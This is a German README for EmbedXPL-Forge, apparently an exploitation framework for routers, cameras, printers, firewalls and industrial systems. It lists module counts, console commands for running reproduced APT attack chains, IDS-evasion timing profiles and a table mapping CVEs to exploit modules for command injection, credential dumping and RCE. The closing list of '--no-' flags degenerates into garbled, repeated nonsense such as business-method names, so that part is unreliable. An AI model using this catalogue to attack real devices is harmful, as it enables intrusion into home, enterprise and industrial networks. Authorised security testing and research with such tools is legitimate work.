Angriffsflächen-Karten, die die Modulabdeckung pro Zugriffsvektor zeigen, im Stil operativer Sicherheitsdiagramme.
Quelldateien in [`docs/diagrams/architecture/`](https://github.com/mrhenrike/embedxpl-forge/blob/master/docs/diagrams/architecture).

### Modul-Architektur-Übersicht

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/77e312b38d78c27f7d1de0276c6f304f343f323b2d0f951c2f9a2a5362c3e54c/add82fa1cc0dc85f3f6b414270fdc3e457d72b05d31ec9013ae5a08f8427cf52-display-v1.webp" width="900" alt="EmbedXPL-Forge Architecture Overview"/>
</p>

### APT-Gruppen-Angriffsketten

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/e1ab0771072292d7cfd319a886323c1ee5630374de9b7aa88652badb233f10db/540b3fc97ec030a32c27f896ee3e03fa11e349dd9ba8fdc10905618932d9e9ce-display-v1.webp" width="900" alt="APT Group Attack Chains"/>
</p>

### SOHO-Router-Angriffsfläche

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/5254908f6c1a366a0fb268b89fe1c3260a2d67d2fad0e3380b9d846af5e245ca/e15dbde66c8adc6a223f2ef570c2b202a8cd58b5f69f924399be4a32debf3511-display-v1.webp" width="900" alt="SOHO Router Attack Surface"/>
</p>

### TP-Link-Angriffsfläche (APT28/GRU-Kampagne)

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/93f5be2a074ef3b827832e532658e6ea0ada911f9ed0433a4986355ca34e11bf/436ac5ee2ad503629993f8cb04ca563f0d36b2409664abc74705aee9b5d8dbaa-display-v1.webp" width="900" alt="TP-Link APT28 Attack Surface"/>
</p>

### MikroTik-RouterOS-Angriffsfläche

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/b36a43e11581966fcf539289c66b6694ab23910a52a9c0ed031f18402d366bc4/910bb2d9cd7b55834ebfb6dfd6b02121f3242bf8140435afb2ab28fc196b1faf-display-v1.webp" width="900" alt="MikroTik Attack Surface"/>
</p>

### GPON-ONT-Angriffsfläche (Huawei EG8145)

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/31f8afeec116e1cfea33753c26b01905351cc1c2a03bc46175f155dbe5e06dfe/34dc8af47fd53c639ed089f6797407be884617726c885c5faad96e7a22b6a078-display-v1.webp" width="900" alt="GPON ONT Attack Surface"/>
</p>

## Voraussetzungen

- Python 3.8+
- Optional: `nmap` (Binary) für erweiterte Netzwerk-Discovery und NSE-Skripte
- Optional: `masscan` für Hochgeschwindigkeits-RTSP-Discovery
- Optional: `gcc`/`clang` für PolyExploit C/C++-Runtime-Kompilierung
- Optional: `msfconsole` für Metasploit-Integration über PolyRunner

**Python-Abhängigkeiten (automatisch installiert):**
`requests`, `paramiko`, `pysnmp`, `pycryptodome`, `scapy`, `colorama`, `rich`, `python-nmap`, `aiohttp`

**NSE-Extras (`pip install "embedxpl[nse]"`):**
`python-nmap` (bereits im Core enthalten)

Vollständige Liste: [`requirements.txt`](https://github.com/mrhenrike/embedxpl-forge/blob/master/requirements.txt)

## Rechtlicher Hinweis

EmbedXPL-Forge ist ausschließlich für autorisierte Sicherheitstests und Forschung gedacht. Verwenden Sie dieses Tool ausschließlich auf Systemen, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Unbefugter Zugriff auf Computersysteme ist illegal. Die Autoren übernehmen keine Haftung für Missbrauch.

## Lizenz

BSD-Lizenz — siehe [LICENSE](https://github.com/mrhenrike/embedxpl-forge/blob/master/LICENSE) für Details.
---

## Kontakt

**Support / allgemeine Anfragen:** [email protected]
**Sicherheitsprobleme:** [SECURITY.md](https://github.com/mrhenrike/embedxpl-forge/blob/master/SECURITY.md)

---

### André Henrique

| | |
|---|---|
| GitHub | [@mrhenrike](https://github.com/mrhenrike) |
| X / Twitter | [@mrhenrike](https://x.com/mrhenrike) |
| LinkedIn | [mrhenrike](https://www.linkedin.com/in/mrhenrike/) |

### União Geek

| | |
|---|---|
| Website | [uniaogeek.com.br](https://uniaogeek.com.br/) |
| Blog | [uniaogeek.com.br/blog](https://uniaogeek.com.br/blog/) |
| GitHub | [Uniao-Geek](https://github.com/Uniao-Geek) |
| Instagram | [@uniaogeek](https://www.instagram.com/uniaogeek/) |

---

**Lizenz:** BSD-3-Clause License - Copyright (c) 2026 União Geek
**Erstellt von:** André Henrique ([@mrhenrike](https://github.com/mrhenrike)) | [União Geek](https://uniaogeek.com.br/)

[Leia em Português](https://github.com/mrhenrike/embedxpl-forge/blob/master/README.pt-BR.md) - [Command coverage](https://github.com/mrhenrike/embedxpl-forge/blob/master/docs/commands.md) - [Wiki](../../wiki)
Tool herunterladen
  • Netzwerkerkennung — SSDP, ARP, Nmap, Masscan, Scapy-Fallback, OUI-Lookup (IEEE 39k+ Einträge), T0–T5-Timing-Profile
  • Session-Management — persistente Scan-Historie pro Host (IP+MAC), Resume/Restart, vollständiger Findings-Index
  • Verkettete Autopwn-Module — mehrphasige herstellerspezifische Exploitation-Ketten (Huawei EG8145X6, CUPS Pwn2Own, Lexmark Pwn2Own, etc.)
  • 7 automatisierte Quality Gates — tools/phase_gate.py stellt sicher, dass jedes Modul Import-, Anti-FP-, Referenz- und Code-Qualitätsprüfungen vor dem Merge besteht
  • TypAbdeckungBeschreibung
    Router / GPON ONT / CPE580+ ModuleSOHO-Router, Enterprise-Gateways, GPON CPE/ONT (Hauptfokus)
    IP-Kameras / NVR / DVR60+ ModuleHikvision, Dahua, Axis, Reolink, Amcrest, Uniview, Tapo, Swann, ANNKE, Edimax, Intelbras, Grandstream, Foscam, Xiongmai OEM, MVPower und 20+ weitere
    Drucker / MFP185+ ModuleHP, Canon, Lexmark, Xerox, Ricoh, Brother, Epson, Kyocera, Samsung; IPP/PJL/LPD/WSD/CUPS-Ketten
    NAS (Network Storage)20+ ModuleQNAP, Synology, D-Link NAS, Zyxel NAS
    VPN / Firewall-Appliances / NGFW202 ModulePalo Alto, Fortinet, Cisco ASA/FTD/FMC, Check Point, Juniper, SonicWall, Sophos, WatchGuard, Zyxel, F5 BIG-IP, Citrix/NetScaler, Ivanti, Pulse Secure, pfSense, OPNsense, Barracuda, Imperva, MikroTik, Huawei USG, Stormshield, Hillstone, Sangfor, H3C, Radware, Symantec ProxySG, Trend Micro TippingPoint, Trellix, Arista EOS, OpenVPN AS, Phoenix Contact mGuard, Siemens SCALANCE, Moxa EDR, VyOS, IPFire, Kerio, Cisco Meraki, Array Networks + OT/ICS-Protokoll-Bypass-Module
    Switches L2/L33 ModuleManaged Switches (Cisco, D-Link, NETGEAR)
    SOHO Edge9 ModuleTravel-Router, NAS, Wireless-APs
    ICS / OT / Industrial35+ ModuleSPS, SCADA, Modbus, S7comm, EtherNet/IP, Universal Robots PolyScope 5
    Smart Home / Maritime10+ ModuleeNet SMART HOME, OpenRemote IoT, Metis Maritime WIC/DFS
    Embedded OS25+ ModuleRIOT OS, OpenWrt, VxWorks, QNX, wolfSSL-Geräte, Tuya Arduino SDK
    BefehlBeschreibung
    use <module>Ein Modul auswählen
    show optionsKonfigurierbare Optionen anzeigen
    show infoModul-Metadaten und Referenzen anzeigen
    show devicesUnterstützte Gerätetypen auflisten
    set <option> <value>Eine Option konfigurieren
    checkÜberprüfen, ob das Ziel verwundbar ist
    runDas Modul ausführen
    search <term>Module nach Schlüsselwort durchsuchen
    discover [subnet] [--timing T0-T5] [--fresh]Subnetz scannen, Ziele fingerprinten, Module vorschlagen
    sessions list|show|delete|export|purgePersistente Scan-Historie pro Host verwalten
    aptAPT-Gruppen mit reproduzierbaren Angriffsketten auflisten
    apt show <group>Details der Angriffskette anzeigen (MITRE ATT&CK, CVEs, Module)
    apt search <device|CVE>APT-Gruppen finden, die ein Gerät oder eine CVE anvisieren
    apt run <group> [#]APT-Angriffskette ausführen (alle oder ein bestimmter Angriff)
    ProfilVerzögerungAnwendungsfall
    T0paranoid — 300sIDS-Umgehung
    T1sneaky — 15sLeise Audits
    T2polite — 2sMinimale Auswirkung
    T3normal — 0.5sStandard
    T4aggressive — 0.1sSchnelle LAN-Scans
    T5insane — 0sNur CTF / Labor
    ModusPortKlasse / Methode
    rtsp554RTSPClient(host, port)
    rtsps443/8443RTSPClient(host, port, use_tls=True)
    http80/8080RTSPClient(host, port, tunnel_http=True)
    https443/8443RTSPClient(host, port, use_tls=True, tunnel_http=True)
    autoanyRTSPClient.from_scheme(host, port, "http")
    GerätCVEModulpfadAngriffstyp
    TP-Link TL-SC3171 / SC4171 / SC4171GCVE-2013-2573exploits/cameras/tplink/tl_sc_series_cmd_inject_cve_2013_2573Command Injection (unauth)
    TP-Link TL-SC3171 / SC3130CVE-2013-2581exploits/cameras/tplink/tl_sc_series_unauth_firmware_upload_cve_2013_2581Unauthenticated Firmware Upload
    D-Link DCS-932LCVE-2026-36983exploits/cameras/dlink/dcs_932l_light_sensor_rce_cve_2026_36983Light Sensor RCE
    D-Link DCS-932LCVE-2025-5573exploits/cameras/dlink/dcs_932l_admin_cmd_inject_cve_2025_5573Admin Panel Command Injection
    D-Link DCS-933LCVE-2026-2218exploits/cameras/dlink/dcs_933l_admin_cmd_inject_cve_2026_2218Admin Panel Command Injection
    ZTE ZXHN H267N / H268NCVE-2026-34473exploits/routers/zte/zxhn_h267n_h268n_dos_cve_2026_34473Denial of Service
    ZTE ZXHN H298A / H108NCVE-2026-34474exploits/routers/zte/zxhn_h298a_cred_dump_cve_2026_34474Credential Dump (ETHCheat)
    Intelbras IWR routers-exploits/routers/intelbras/iwr_luci_rpc_rceLuCI RPC Unauthenticated RCE
    Multi-vendor BR ISP scanner-scanners/specialized/br_isp_scannerActive discovery + vuln check
    --no-xxe
    --no-ssti
    --no-deserialization
    --no-ldap
    --no-xpath
    --no-nosql
    --no-graphql
    --no-websocket
    --no-grpc
    --no-http2
    --no-http3
    --no-quic
    --no-dns
    --no-tcp
    --no-udp
    --no-icmp
    --no-arp
    --no-ipv6
    --no-ipv4
    --no-mac
    --no-vlan
    --no-dhcp
    --no-ntp
    --no-snmp
    --no-smb
    --no-ftp
    --no-ssh
    --no-telnet
    --no-rdp
    --no-vnc
    --no-ldap
    --no-kerberos
    --no-ntlm
    --no-oauth
    --no-saml
    --no-jwt
    --no-openid
    --no-sso
    --no-mfa
    --no-2fa
    --no-captcha
    --no-waf
    --no-ids
    --no-ips
    --no-honeypot
    --no-sandbox
    --no-container
    --no-docker
    --no-kubernetes
    --no-cloud
    --no-aws
    --no-azure
    --no-gcp
    --no-oci
    --no-ibm
    --no-alibaba
    --no-digitalocean
    --no-linode
    --no-vultr
    --no-hetzner
    --no-ovh
    --no-scaleway
    --no-upcloud
    --no-packets
    --no-frames
    --no-streams
    --no-sockets
    --no-ports
    --no-protocols
    --no-services
    --no-applications
    --no-systems
    --no-networks
    --no-devices
    --no-users
    --no-groups
    --no-roles
    --no-permissions
    --no-policies
    --no-rules
    --no-configs
    --no-secrets
    --no-keys
    --no-tokens
    --no-passwords
    --no-hashes
    --no-salts
    --no-nonces
    --no-ivs
    --no-ciphers
    --no-algorithms
    --no-protocols
    --no-standards
    --no-rfcs
    --no-specs
    --no-docs
    --no-tests
    --no-examples
    --no-demos
    --no-samples
    --no-tutorials
    --no-guides
    --no-manuals
    --no-references
    --no-cheatsheets
    --no-snippets
    --no-templates
    --no-scripts
    --no-plugins
    --no-modules
    --no-extensions
    --no-addons
    --no-packages
    --no-libraries
    --no-frameworks
    --no-platforms
    --no-oses
    --no-distros
    --no-versions
    --no-releases
    --no-builds
    --no-commits
    --no-branches
    --no-tags
    --no-forks
    --no-stars
    --no-watchers
    --no-issues
    --no-pulls
    --no-merges
    --no-rebases
    --no-cherry-picks
    --no-stashes
    --no-resets
    --no-reverts
    --no-amends
    --no-squashes
    --no-fixes
    --no-features
    --no-bugs
    --no-issues
    --no-tickets
    --no-tasks
    --no-projects
    --no-milestones
    --no-sprints
    --no-epics
    --no-stories
    --no-backlogs
    --no-boards
    --no-kanbans
    --no-scrums
    --no-agiles
    --no-waterfalls
    --no-leans
    --no-six-sigmas
    --no-kaizens
    --no-pdsas
    --no-demas
    --no-dmadvs
    --no-dfsss
    --no-qfds
    --no-fmeas
    --no-ftas
    --no-hazops
    --no-phas
    --no-lopas
    --no-bowties
    --no-risks
    --no-opportunities
    --no-swots
    --no-pestles
    --no-porters
    --no-bcgs
    --no-ansoffs
    --no-value-chains
    --no-balanced-scorecards
    --no-kpis
    --no-okrs
    --no-mbos
    --no-smarts
    --no-ffs
    --no-pdpcas
    --no-ois
    --no-ts
    --no-tpms
    --no-5ss
    --no-kanos
    --no-qfds
    --no-doe
    --no-taguschis
    --no-shainins
    --no-six-sigma-dmaics
    --no-lean-six-sigmas
    --no-dfsss
    --no-qfds
    --no-fmeas
    --no-ftas
    --no-hazops
    --no-phas
    --no-lopas
    --no-bowties
    --no-risks
    --no-opportunities
    --no-swots
    --no-pestles
    --no-porters
    --no-bcgs
    --no-ansoffs
    --no-value-chains
    --no-balanced-scorecards
    --no-kpis
    --no-okrs
    --no-mbos
    --no-smarts
    --no-ffs
    --no-pdpcas
    --no-ois
    --no-ts
    --no-tpms
    --no-5ss
    --no-kanos
    --no-qfds
    --no-doe
    --no-taguschis
    --no-shainins
    --no-six-sigma-dmaics
    --no-lean-six-sigmas
    --no-dfsss
    --no-qfds
    --no-fmeas
    --no-ftas
    --no-hazops
    --no-phas
    --no-lopas
    --no-bowties
    --no-risks
    --no-opportunities
    --no-swots
    --no-pestles
    --no-porters
    --no-bcgs
    --no-ansoffs
    --no-value-chains
    --no-balanced-scorecards
    --no-kpis
    --no-okrs
    --no-mbos
    --no-smarts
    --no-ffs
    --no-pdpcas
    --no-ois
    --no-ts
    --no-tpms
    --no-5ss
    --no-kanos
    --no-qfds
    --no-doe
    --no-taguschis
    --no-shainins
    --no-six-sigma-dmaics
    --no-lean-six-sigmas